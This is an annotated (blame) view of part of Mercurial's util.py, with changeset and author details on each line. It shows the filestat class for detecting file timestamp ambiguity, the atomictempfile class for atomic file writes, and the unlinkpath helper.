ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1954
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1955
    'stat' attribute is result of 'os.stat()' if specified 'path'
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1956
    exists. Otherwise, it is None. This can avoid preparative
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1957
    'exists()' examination on client side of this class.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1958
    """
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
  1959
    def __init__(self, stat):
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
  1960
        self.stat = stat
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
  1961
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
  1962
    @classmethod
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
  1963
    def frompath(cls, path):
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1964
        try:
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
  1965
            stat = os.stat(path)
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1966
        except OSError as err:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1967
            if err.errno != errno.ENOENT:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1968
                raise
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
  1969
            stat = None
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
  1970
        return cls(stat)
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1971
32816
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32772
diff changeset
  1972
    @classmethod
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32772
diff changeset
  1973
    def fromfp(cls, fp):
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32772
diff changeset
  1974
        stat = os.fstat(fp.fileno())
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32772
diff changeset
  1975
        return cls(stat)
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581)
Siddharth Agarwal <sid0@fb.com>
parents: 32772
diff changeset
  1976
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1977
    __hash__ = object.__hash__
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1978
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1979
    def __eq__(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1980
        try:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1981
            # if ambiguity between stat of new and old file is
30332
318a24b52eeb spelling: fixes of non-dictionary words
Mads Kiilerich <madski@unity3d.com>
parents: 30329
diff changeset
  1982
            # avoided, comparison of size, ctime and mtime is enough
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1983
            # to exactly detect change of a file regardless of platform
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1984
            return (self.stat.st_size == old.stat.st_size and
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1985
                    self.stat.st_ctime == old.stat.st_ctime and
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1986
                    self.stat.st_mtime == old.stat.st_mtime)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1987
        except AttributeError:
32749
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32746
diff changeset
  1988
            pass
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32746
diff changeset
  1989
        try:
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32746
diff changeset
  1990
            return self.stat is None and old.stat is None
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32746
diff changeset
  1991
        except AttributeError:
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1992
            return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1993
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1994
    def isambig(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1995
        """Examine whether new (= self) stat is ambiguous against old one
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1996
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1997
        "S[N]" below means stat of a file at N-th change:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1998
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1999
        - S[n-1].ctime  < S[n].ctime: can detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2000
        - S[n-1].ctime == S[n].ctime
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2001
          - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2002
          - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2003
          - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2004
        - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2005
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2006
        Case (*2) above means that a file was changed twice or more at
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2007
        same time in sec (= S[n-1].ctime), and comparison of timestamp
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2008
        is ambiguous.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2009
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2010
        Base idea to avoid such ambiguity is "advance mtime 1 sec, if
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2011
        timestamp is ambiguous".
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2012
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2013
        But advancing mtime only in case (*2) doesn't work as
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2014
        expected, because naturally advanced S[n].mtime in case (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2015
        might be equal to manually advanced S[n-1 or earlier].mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2016
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2017
        Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2018
        treated as ambiguous regardless of mtime, to avoid overlooking
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2019
        by confliction between such mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2020
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2021
        Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2022
        S[n].mtime", even if size of a file isn't changed.
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2023
        """
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2024
        try:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2025
            return (self.stat.st_ctime == old.stat.st_ctime)
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2026
        except AttributeError:
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2027
            return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  2028
30319
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2029
    def avoidambig(self, path, old):
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2030
        """Change file stat of specified path to avoid ambiguity
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2031
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2032
        'old' should be previous filestat of 'path'.
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2033
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2034
        This skips avoiding ambiguity, if a process doesn't have
32746
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
  2035
        appropriate privileges for 'path'. This returns False in this
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
  2036
        case.
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
  2037
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
  2038
        Otherwise, this returns True, as "ambiguity is avoided".
30319
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2039
        """
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2040
        advanced = (old.stat.st_mtime + 1) & 0x7fffffff
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2041
        try:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2042
            os.utime(path, (advanced, advanced))
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2043
        except OSError as inst:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2044
            if inst.errno == errno.EPERM:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2045
                # utime() on the file created by another user causes EPERM,
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2046
                # if a process doesn't have appropriate privileges
32746
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
  2047
                return False
30319
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2048
            raise
32746
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 32652
diff changeset
  2049
        return True
30319
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
  2050
29298
82f6193ff2bc util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29261
diff changeset
  2051
    def __ne__(self, other):
82f6193ff2bc util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29261
diff changeset
  2052
        return not self == other
82f6193ff2bc util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29261
diff changeset
  2053
8778
c5f36402daad use new style classes
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 8631
diff changeset
  2054
class atomictempfile(object):
17424
e7cfe3587ea4 fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents: 17391
diff changeset
  2055
    '''writable file object that atomically updates a file
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  2056
14008
da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents: 14007
diff changeset
  2057
    All writes will go to a temporary copy of the original file. Call
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
  2058
    close() when you are done writing, and atomictempfile will rename
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
  2059
    the temporary copy to the original name, making the changes
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
  2060
    visible. If the object is destroyed without being closed, all your
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
  2061
    writes are discarded.
29367
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  2062
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  2063
    checkambig argument of constructor is used with filestat, and is
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  2064
    useful only if target file is guarded by any lock (e.g. repo.lock
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  2065
    or repo.wlock).
14008
da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents: 14007
diff changeset
  2066
    '''
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2067
    def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2068
        self.__name = name      # permanent name
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2069
        self._tempname = mktempcopy(name, emptyok=('w' in mode),
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2070
                                    createmode=createmode)
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2071
        self._fp = posixfile(self._tempname, mode)
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2072
        self._checkambig = checkambig
8327
aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents: 8312
diff changeset
  2073
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2074
        # delegated methods
29393
50269a4dce61 atomictempfile: add read to the supported file operations
Martijn Pieters <mjpieters@fb.com>
parents: 29367
diff changeset
  2075
        self.read = self._fp.read
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2076
        self.write = self._fp.write
17237
e73128535105 util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents: 17203
diff changeset
  2077
        self.seek = self._fp.seek
e73128535105 util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents: 17203
diff changeset
  2078
        self.tell = self._fp.tell
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2079
        self.fileno = self._fp.fileno
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  2080
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
  2081
    def close(self):
8785
7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 8778
diff changeset
  2082
        if not self._fp.closed:
8327
aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents: 8312
diff changeset
  2083
            self._fp.close()
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2084
            filename = localpath(self.__name)
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
  2085
            oldstat = self._checkambig and filestat.frompath(filename)
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2086
            if oldstat and oldstat.stat:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2087
                rename(self._tempname, filename)
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
  2088
                newstat = filestat.frompath(filename)
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2089
                if newstat.isambig(oldstat):
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2090
                    # stat of changed file is ambiguous to original one
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2091
                    advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2092
                    os.utime(filename, (advanced, advanced))
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2093
            else:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
  2094
                rename(self._tempname, filename)
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  2095
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
  2096
    def discard(self):
8785
7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 8778
diff changeset
  2097
        if not self._fp.closed:
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  2098
            try:
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2099
                os.unlink(self._tempname)
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2100
            except OSError:
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
  2101
                pass
8327
aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents: 8312
diff changeset
  2102
            self._fp.close()
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  2103
13098
f7d6750dcd01 util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13072
diff changeset
  2104
    def __del__(self):
14968
b7dbe957585c util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents: 14942
diff changeset
  2105
        if safehasattr(self, '_fp'): # constructor actually did something
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
  2106
            self.discard()
13098
f7d6750dcd01 util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13072
diff changeset
  2107
29394
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2108
    def __enter__(self):
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2109
        return self
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2110
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2111
    def __exit__(self, exctype, excvalue, traceback):
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2112
        if exctype is not None:
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2113
            self.discard()
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2114
        else:
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2115
            self.close()
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
  2116
31539
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31533
diff changeset
  2117
def unlinkpath(f, ignoremissing=False):
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31533
diff changeset
  2118
    """unlink and remove the directory if it is empty"""
31541
bd9daafbf87c util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31540
diff changeset
  2119
    if ignoremissing:
bd9daafbf87c util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31540
diff changeset
  2120
        tryunlink(f)
bd9daafbf87c util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31540
diff changeset
  2121
    else:
31539
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31533
diff changeset
  2122
        unlink(f)
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31533
diff changeset
  2123
    # try removing directories that might now be empty
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31533
diff changeset
  2124
    try:
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31533
diff changeset
  2125
        removedirs(os.path.dirname(f))
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31533
diff changeset
  2126
    except OSError:
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31533
diff changeset
  2127
        pass
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31533
diff changeset
  2128
31540
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2129
